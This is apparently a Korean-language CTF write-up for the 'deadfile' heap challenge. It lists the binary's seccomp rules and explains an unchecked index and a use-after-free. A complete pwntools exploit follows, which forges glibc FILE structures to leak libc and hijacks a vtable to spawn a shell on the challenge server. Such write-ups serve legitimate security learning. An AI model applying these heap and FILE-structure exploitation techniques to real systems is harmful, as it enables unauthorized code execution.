binary info
[*] '/home/krrr/pwn/x-mas/dead_file/deadfile'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
메뉴형 heap challenge
이다.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x25 0x0b 0x00 0x40000000 if (A > 0x40000000) goto 0015
0004: 0x15 0x0a 0x00 0x0000003b if (A == execve) goto 0015
0005: 0x15 0x09 0x00 0x00000142 if (A == execveat) goto 0015
0006: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0015
0007: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0015
0008: 0x15 0x06 0x00 0x00000038 if (A == clone) goto 0015
0009: 0x15 0x05 0x00 0x00000039 if (A == fork) goto 0015
0010: 0x15 0x04 0x00 0x00000065 if (A == ptrace) goto 0015
0011: 0x15 0x03 0x00 0x00000029 if (A == socket) goto 0015
0012: 0x15 0x02 0x00 0x00000031 if (A == bind) goto 0015
0013: 0x15 0x01 0x00 0x00000032 if (A == listen) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
seccomp-rule
확인
Vulnerability
for
문을 통한 index checking
과정에서 "Too Many Heaps!"
만 출력하고 return
을 하지 않는다.
chunk_size[i]
에 값을 입력받은 후 chunk_size[i]
값을 checking
.
초기화 안함 -> dangling pointer
마찬가지로 index checking
과정에서 return
하지 않는다.
Attack
chunk_size
에서 oob
및 checking
전에 값을 입력받기 때문에 opened
에 stdin fd(0)
을 넣을 수 있다.
이를 이용하여 read_file
함수에서 read(0, chunk_addr[i], chunk_size[i])
를 실행시킬 수 있다.
먼저, uaf
가 일어나기 때문에 이를 이용하여 stdout
에 할당을 받아준다.
(largebin의 main_arena를 이용한 partial overwrite)
load_seccomp
에서 bpf_struct
를 만들기 위해 malloc(0x80)
을 호출하는데, 이로 인해 힙이 꼬이므로 malloc(0x80), delete
를 이용하여 방지하였다.
stdout
에 할당받은 후, read_flag
를 이용하여 fake_file_structure
를 만들고 write(1, _IO_buf_base, _IO_buf_end-_IO_buf_base)
를 실행시킨다.
이를 통해 libc_base
를 leak
할 수 있다.
마지막으로 다시 한 번 read_flag
를 이용하여 fake_file_structure
를 만들고 vtable
를 _IO_str_jumps
로 변경한 뒤, vtable check
를 우회하며 shell
을 얻을 수 있다.
partial overwrite
때문에 1/16
확률이 필요하다. (100% reliable
하지 않다.)
from pwn import *
#context.log_level= 'debug'
e = ELF('deadfile')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
"""
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x25 0x0b 0x00 0x40000000 if (A > 0x40000000) goto 0015
0004: 0x15 0x0a 0x00 0x0000003b if (A == execve) goto 0015
0005: 0x15 0x09 0x00 0x00000142 if (A == execveat) goto 0015
0006: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0015
0007: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0015
0008: 0x15 0x06 0x00 0x00000038 if (A == clone) goto 0015
0009: 0x15 0x05 0x00 0x00000039 if (A == fork) goto 0015
0010: 0x15 0x04 0x00 0x00000065 if (A == ptrace) goto 0015
0011: 0x15 0x03 0x00 0x00000029 if (A == socket) goto 0015
0012: 0x15 0x02 0x00 0x00000031 if (A == bind) goto 0015
0013: 0x15 0x01 0x00 0x00000032 if (A == listen) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
"""
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, "\x00")
struct += p64(_lock)
struct = struct.ljust(0xd8, "\x00")
return struct
def ex(s):
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla('>> ', str(sel))
def new(size):
menu(1)
sla(': ', str(size))
def delete(idx):
menu(2)
sla(': ', str(idx))
def register(name):
menu(7)
sa(': ', name)
def open_file(name):
menu(3)
sa(': ', name)
def read_file(file_idx, buf_idx, data='', types=''):
sla(': ', str(file_idx))
sla(': ', str(buf_idx))
if types:
s.send(data)
def close_file(idx):
menu(6)
sla(': ', str(idx))
new(0x400)
new(0x18)
# for bpf
new(0x80)
delete(2)
for i in range(8):
delete(0)
new(0x500)
register("\x60\x07")
new(0x400)
new(0x400) # 5
new(0x18)
new(0x18)
new(0x0)
read_file(2, 5, data=p64(0xfbad1800) + p64(0)*3 + '\x00', types='ex')
s.recv(8)
l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x3ed8b0
log.info('l_base: {}'.format(hex(l_base)))
if not hex(l_base).startswith('0x7f'):
raise EOFError
one_list = [0x4f2c5, 0x4f322, 0x10a38c]
one = l_base + one_list[0]
rip = l_base + l.symbols['system']
rdi = l_base + next(l.search("/bin/sh"))
io_str = l_base + l.symbols['_IO_file_jumps'] + 0xd8
fake = io_str - 0x38
p()
read_file(2, 5, data=pack_file(_IO_buf_base=0, _IO_buf_end=(rdi-100)/2, _IO_write_ptr=(rdi-100)/2, _IO_write_base=0, _lock=l_base+0x3ed8c0) + p64(fake) + p64(rip), types='ex')
io()
if __name__ == "__main__":
while True:
try:
s = connect('115.68.235.72', 33445)
#s = process('deadfile')
ex(s)
except EOFError:
s.close()
continue
else:
break
'system > writeup' 카테고리의 다른 글
pwnable.tw criticalheap (0) | 2019.12.21 |
---|---|
pwnable.tw printable (0) | 2019.12.20 |
2019 d3ctf lonely_observer (0) | 2019.12.16 |
2019 d3ctf babyrop (0) | 2019.12.15 |
2019 d3ctf ezfile (0) | 2019.12.15 |